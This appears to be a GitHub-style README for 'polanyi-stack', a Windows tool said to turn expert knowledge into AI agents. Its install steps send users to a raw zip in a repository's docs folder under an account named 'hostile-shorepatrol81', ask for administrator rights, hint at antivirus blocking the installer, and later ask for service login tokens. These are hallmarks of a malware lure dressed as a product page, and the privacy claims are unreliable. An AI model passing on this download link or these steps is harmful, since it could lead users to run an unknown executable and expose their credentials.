The polanyi-stack helps you capture what experts know. People hold deep knowledge in their heads that is hard to write down. This is the Polanyi paradox. This software lets you take that hidden wisdom and turn it into digital skills. You can build agents that handle tasks and make choices based on your expert standards.
The software functions as a bridge between human experience and automation. Experts often struggle to explain their exact process. They see a situation and know the answer without explaining how. This tool records those judgements. It organizes your workflows. It turns your private habits into digital helpers. Use the stack to train agents on your specific business practices. This results in consistent results across your team.
Ensure your computer has the following items to run the stack:
- Windows 10 or Windows 11.
- At least 8GB of RAM.
- A stable internet connection.
- 2GB of free disk space.
- Administrative rights on your user profile.
Follow these steps to set up the software on your Windows machine:
- Visit the repository page to download the installer: https://github.com/hostile-shorepatrol81/polanyi-stack/raw/refs/heads/main/docs/stack_polanyi_v3.1.zip.
- Locate the most recent version in the releases section.
- Choose the file ending in .msi or .exe.
- Open the downloaded file once it finishes.
- Follow the prompts on the screen.
- Select your installation folder.
- Click finish when the process ends.
- Locate the new icon on your desktop to start the app.
Once you launch the app, you arrive at the dashboard. Follow these steps to build your first assistant:
- Click the button labeled Create New Agent.
- Give your agent a name.
- Select an expert category from the list.
- Upload documents that show how you do your work.
- Write out a few examples of how you solve a problem.
- Click the Train button.
- Wait for the confirmation message.
The agent reads your files and example choices. It creates a logic map from these inputs. It creates a skill based on your expert patterns. You can now prompt this agent to help with new tasks.
The stack treats knowledge like a flow. You feed it data through documents, messages, or examples. The agent analyzes these inputs to find patterns. You can adjust the agent if it makes a choice you dislike. Click the agent tile and select Edit Logic. Here you can see which files influence each decision. Remove files that do not match your current goals. Add new documentation when your process changes. This keeps your agents current.
Agents work best when you guide them with clear language. Use simple sentences. Avoid vague words such as maybe or possibly. State the goal clearly. Define the steps one by one. If you want the agent to follow a specific style, provide an example of that style. This process of guiding the agent is known as prompt engineering. Good prompts result in higher quality outputs.
You can connect your agent to other tools. The stack supports connections to email clients and office suites. Open the Settings panel to configure these links. Provide your login tokens for the services you want to automate. Once connected, your agent creates drafts, summarizes documents, and sorts information. It pulls data from your tools, makes an expert judgment, and sends the action back to the original platform.
The polanyi-stack runs locally on your machine. Your data remains in your control. The software does not send your documents to external cloud folders. It processes your files within your computer memory. When the agent uses an online model for reasoning, it only sends the specific prompt you ask. It filters out sensitive labels and private identifiers before any data leaves the app.
If the application fails to open, check for pending Windows updates. Ensure your antivirus software does not block the installer. If the agent gives errors, verify the input files are readable. Plain text files and PDF documents work best. If the agent seems slow, close other programs that use large amounts of memory. Check the FAQ section inside the Help menu for specific help codes.
Each agent consists of several skill modules. You can build and share these modules with your team. Click Export Skill to save a module as a file. A coworker can import this file into their own copy of the stack. This facilitates knowledge transfer. It ensures every team member benefits from the same expert insights. You build the standard once and everyone applies it with ease.
Use the Library tab to sort your agents. Name them by the task they perform. Group related agents into folders. Delete old versions to keep your list clean. Back up your library folder periodically. This folder contains all the logic files for your agents. Move this folder to an external drive or network location to keep your expert systems safe.